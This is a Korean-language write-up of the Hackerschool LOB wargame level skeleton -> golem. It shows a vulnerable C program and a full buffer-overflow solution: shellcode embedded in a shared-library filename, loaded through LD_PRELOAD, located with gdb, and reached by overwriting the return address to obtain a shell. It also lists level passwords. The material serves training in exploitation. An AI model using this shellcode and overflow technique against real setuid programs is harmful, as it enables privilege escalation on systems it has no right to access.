해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이
M4ndU
해커스쿨 LOB [skeleton -> golem] 풀이입니다.
ID | skeleton
PW | shellcoder
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
그리고
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합시다.
login: skeleton
Password:
[skeleton@localhost skeleton]$ bash2
[skeleton@localhost skeleton]$ ls -l
total 16
-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem
-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
리턴주소부분을 제외하고 모두 0으로 초기화 시켜버리네요....
하지만 남아있는 공간이 하나 있습니다. 바로 공유라이브러리입니다!
일단 문제를 복사하고
[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cp golem tmp/
[skeleton@localhost skeleton]$ cd tmp/
빈파일을 하나 만들어서 쉘코드 이름으로 컴파일합니다.
[skeleton@localhost tmp]$ cat > a.c
[skeleton@localhost tmp]$ ls
a.c golem
[skeleton@localhost tmp]$ gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
그리고 환경변수 LD_PRELOAD에 등록을 해줍니다.
[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
이제 위치를 확인합니다.
[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "D"*44+"\xbf"*4'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "D"*44+"\xbf"*4'`
Breakpoint 1, 0x8048476 in main ()
(생략)
0xbffff57c: 0x40017000 0x00002fb2 0x40013868 0xbffff754
0xbffff58c: 0x4000380e 0x40014468 0x90902f2e 0x90909090
0xbffff59c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5dc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5ec: 0x90909090 0x90909090 0x90909090 0x11eb9090
0xbffff5fc: 0xb1c9315e 0x0e6c8032 0xe98001ff 0xebf67501
0xbffff60c: 0xffeae805 0xc132ffff 0x30306951 0x30696974
0xbffff61c: 0x8a6f6a63 0x8a5451e4 0x0cb19ae2 0x400081ce
0xbffff62c: 0x40013868 0x4000220c 0xbffffb60 0x00000000
0xbffff63c: 0x00000000 0x00000000 0x00000000 0x40014a00
잘있네요. 0xbffff5cc를 리턴주소로 하겠습니다.
[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xcc\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA係?
bash$ my-pass
euid = 511
cup of coffee
다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ